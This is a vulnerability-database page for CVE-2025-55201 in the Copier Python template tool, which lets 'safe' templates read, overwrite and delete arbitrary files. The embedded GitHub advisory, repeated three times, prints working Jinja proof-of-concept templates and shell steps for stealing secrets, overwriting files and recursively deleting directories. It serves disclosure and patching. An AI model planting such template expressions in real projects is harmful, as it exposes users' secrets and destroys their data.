Every CVE Search/ Get API key

CVE-2025-55201

Copier safe template has arbitrary filesystem read/write access

8.5 HighFix available

Copier library and CLI app for rendering project templates. Prior to 9.9.1, a safe template can currently read and write arbitrary files because Copier exposes a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders the security model w.r.t. filesystem access useless. This vulnerability is fixed in 9.9.1.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
None
User interaction
Passive

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.26%Up 0.2 points since Aug 19, 2025
90%50%10%1%

What each source reports

CVE List Score used 8.5

Copier safe template has arbitrary filesystem read/write access

Copier library and CLI app for rendering project templates. Prior to 9.9.1, a safe template can currently read and write arbitrary files because Copier exposes a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders the security model w.r.t. filesystem access useless. This vulnerability is fixed in 9.9.1.

Record
CVE-2025-55201
CVSS 4.0
8.5 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-22
Updated
2026-11-02
EUVDEUVD-2025-25132 8.5

Copier library and CLI app for rendering project templates. Prior to 9.9.1, a safe template can currently read and write arbitrary files because Copier exposes a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders the security model w.r.t. filesystem access useless. This vulnerability is fixed in 9.9.1.

Record
EUVD-2025-25132
CVSS 4.0
8.5 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-3xw7-v6cj-5q8h 8.5

Copier's safe template has arbitrary filesystem read/write access

Impact

Copier's current security model shall restrict filesystem access through Jinja:

  • Files can only be read using {% include ... %}, which is limited by Jinja to reading files from the subtree of the local template clone in our case.
  • Files are written in the destination directory according to their counterparts in the template.

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.

Arbitrary read access

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

  • Read known file:

    echo "s3cr3t" > secret.txt
    mkdir src/
    echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja
    uvx copier copy src/ dst/
    cat dst/stolen-secret.txt
    
  • Read unknown file(s) via globbing:

    mkdir secrets/
    echo "s3cr3t #1" > secrets/secret1.txt
    echo "s3cr3t #2" > secrets/secret2.txt
    mkdir src/
    cat <<'EOF' > src/stolen-secrets.txt.jinja
    stolen secrets:
    {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %}
    {% for f in parent.glob('*.txt') %}
    {{ f }}: {{ f.read_text('utf-8') }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat dst/stolen-secrets.txt
    

Arbitrary write access

Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.

Reproducible examples:

  • Overwrite known file:

    echo "s3cr3t" > secret.txt
    mkdir src/
    echo "{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}" > src/malicious.txt.jinja
    uvx copier copy src/ dst/
    cat secret.txt
    
  • Overwrite unknown file(s) via globbing:

    echo "s3cr3t" > secret.txt
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..').resolve() %}
    {% for f in (parent.glob('*.txt') | list) %}
    {{ f.write_text('OVERWRITTEN', 'utf-8') }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat secret.txt
    
  • Delete unknown file(s) via globbing:

    echo "s3cr3t" > secret.txt
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..').resolve() %}
    {% for f in (parent.glob('*.txt') | list) %}
    {{ f.unlink() }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat secret.txt
    
  • Delete unknown files and directories via tree walking:

    mkdir data
    mkdir data/a
    mkdir data/a/b
    echo "foo" > data/foo.txt
    echo "bar" > data/a/bar.txt
    echo "baz" > data/a/b/baz.txt
    tree data/
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %}
    {% for root, dirs, files in parent.walk(top_down=False) %}
    {% for name in files %}
    {{ (root / name).unlink() }}
    {% endfor %}
    {% for name in dirs %}
    {{ (root / name).rmdir() }}
    {% endfor %}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    tree data/
    
Record
GHSA-3xw7-v6cj-5q8h
CVSS 4.0
8.5 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-22
Updated
2026-11-02
NVD 8.5

Copier library and CLI app for rendering project templates. Prior to 9.9.1, a safe template can currently read and write arbitrary files because Copier exposes a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders the security model w.r.t. filesystem access useless. This vulnerability is fixed in 9.9.1.

Record
CVE-2025-55201
CVSS 4.0
8.5 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-22
Updated
2026-11-02
OSV 8.5

Copier safe template has arbitrary filesystem read/write access

Copier library and CLI app for rendering project templates. Prior to 9.9.1, a safe template can currently read and write arbitrary files because Copier exposes a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders the security model w.r.t. filesystem access useless. This vulnerability is fixed in 9.9.1.

Record
CVE-2025-55201
CVSS 4.0
8.5 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-22
Updated
2026-11-02
OSVGHSA-3xw7-v6cj-5q8h 8.5

Copier's safe template has arbitrary filesystem read/write access

Impact

Copier's current security model shall restrict filesystem access through Jinja:

  • Files can only be read using {% include ... %}, which is limited by Jinja to reading files from the subtree of the local template clone in our case.
  • Files are written in the destination directory according to their counterparts in the template.

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.

Arbitrary read access

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

  • Read known file:

    echo "s3cr3t" > secret.txt
    mkdir src/
    echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja
    uvx copier copy src/ dst/
    cat dst/stolen-secret.txt
    
  • Read unknown file(s) via globbing:

    mkdir secrets/
    echo "s3cr3t #1" > secrets/secret1.txt
    echo "s3cr3t #2" > secrets/secret2.txt
    mkdir src/
    cat <<'EOF' > src/stolen-secrets.txt.jinja
    stolen secrets:
    {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %}
    {% for f in parent.glob('*.txt') %}
    {{ f }}: {{ f.read_text('utf-8') }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat dst/stolen-secrets.txt
    

Arbitrary write access

Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.

Reproducible examples:

  • Overwrite known file:

    echo "s3cr3t" > secret.txt
    mkdir src/
    echo "{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}" > src/malicious.txt.jinja
    uvx copier copy src/ dst/
    cat secret.txt
    
  • Overwrite unknown file(s) via globbing:

    echo "s3cr3t" > secret.txt
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..').resolve() %}
    {% for f in (parent.glob('*.txt') | list) %}
    {{ f.write_text('OVERWRITTEN', 'utf-8') }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat secret.txt
    
  • Delete unknown file(s) via globbing:

    echo "s3cr3t" > secret.txt
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..').resolve() %}
    {% for f in (parent.glob('*.txt') | list) %}
    {{ f.unlink() }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat secret.txt
    
  • Delete unknown files and directories via tree walking:

    mkdir data
    mkdir data/a
    mkdir data/a/b
    echo "foo" > data/foo.txt
    echo "bar" > data/a/bar.txt
    echo "baz" > data/a/b/baz.txt
    tree data/
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %}
    {% for root, dirs, files in parent.walk(top_down=False) %}
    {% for name in files %}
    {{ (root / name).unlink() }}
    {% endfor %}
    {% for name in dirs %}
    {{ (root / name).rmdir() }}
    {% endfor %}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    tree data/
    
Record
GHSA-3xw7-v6cj-5q8h
CVSS 4.0
8.5 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-22
Updated
2026-11-02
OSVPYSEC-2026-1271 8.5

Copier's safe template has arbitrary filesystem read/write access

Impact

Copier's current security model shall restrict filesystem access through Jinja:

  • Files can only be read using {% include ... %}, which is limited by Jinja to reading files from the subtree of the local template clone in our case.
  • Files are written in the destination directory according to their counterparts in the template.

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.

Arbitrary read access

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

  • Read known file:

    echo "s3cr3t" > secret.txt
    mkdir src/
    echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja
    uvx copier copy src/ dst/
    cat dst/stolen-secret.txt
    
  • Read unknown file(s) via globbing:

    mkdir secrets/
    echo "s3cr3t #1" > secrets/secret1.txt
    echo "s3cr3t #2" > secrets/secret2.txt
    mkdir src/
    cat <<'EOF' > src/stolen-secrets.txt.jinja
    stolen secrets:
    {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %}
    {% for f in parent.glob('*.txt') %}
    {{ f }}: {{ f.read_text('utf-8') }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat dst/stolen-secrets.txt
    

Arbitrary write access

Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.

Reproducible examples:

  • Overwrite known file:

    echo "s3cr3t" > secret.txt
    mkdir src/
    echo "{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}" > src/malicious.txt.jinja
    uvx copier copy src/ dst/
    cat secret.txt
    
  • Overwrite unknown file(s) via globbing:

    echo "s3cr3t" > secret.txt
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..').resolve() %}
    {% for f in (parent.glob('*.txt') | list) %}
    {{ f.write_text('OVERWRITTEN', 'utf-8') }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat secret.txt
    
  • Delete unknown file(s) via globbing:

    echo "s3cr3t" > secret.txt
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..').resolve() %}
    {% for f in (parent.glob('*.txt') | list) %}
    {{ f.unlink() }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat secret.txt
    
  • Delete unknown files and directories via tree walking:

    mkdir data
    mkdir data/a
    mkdir data/a/b
    echo "foo" > data/foo.txt
    echo "bar" > data/a/bar.txt
    echo "baz" > data/a/b/baz.txt
    tree data/
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %}
    {% for root, dirs, files in parent.walk(top_down=False) %}
    {% for name in files %}
    {{ (root / name).unlink() }}
    {% endfor %}
    {% for name in dirs %}
    {{ (root / name).rmdir() }}
    {% endfor %}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    tree data/
    
Record
PYSEC-2026-1271
CVSS 4.0
8.5 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
copier
PyPI
before 9.9.1
9.9.1
copier
PyPI
before 9.9.1, plus listed versions
2.0.02.0.12.1.02.2.12.2.2
Show 45 moreShow less
2.2.32.32.3.12.3.22.3.32.4.02.4.12.4.22.5.02.5.13.0.0a33.0.0a53.0.0a63.0.0a73.0.0a83.0.0b13.0.13.0.23.0.33.0.43.0.53.0.63.1.03.2.04.0.04.0.14.0.24.1.05.0.05.1.06.0.06.0.0a06.0.0a26.0.0a36.0.0a46.0.0a56.0.0a66.0.0a76.0.0a96.0.0b06.1.06.2.07.0.17.1.07.1.0a0
9.9.1

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-55201 is a high vulnerability (CVSS 8.5) in Copier-org Copier, published August 18, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.26%, the 17th percentile. Fixed in copier 9.9.1.

References

This page doesn't list everything

Left out here: 19 versions. The JSON record has them.

MoveEnter Open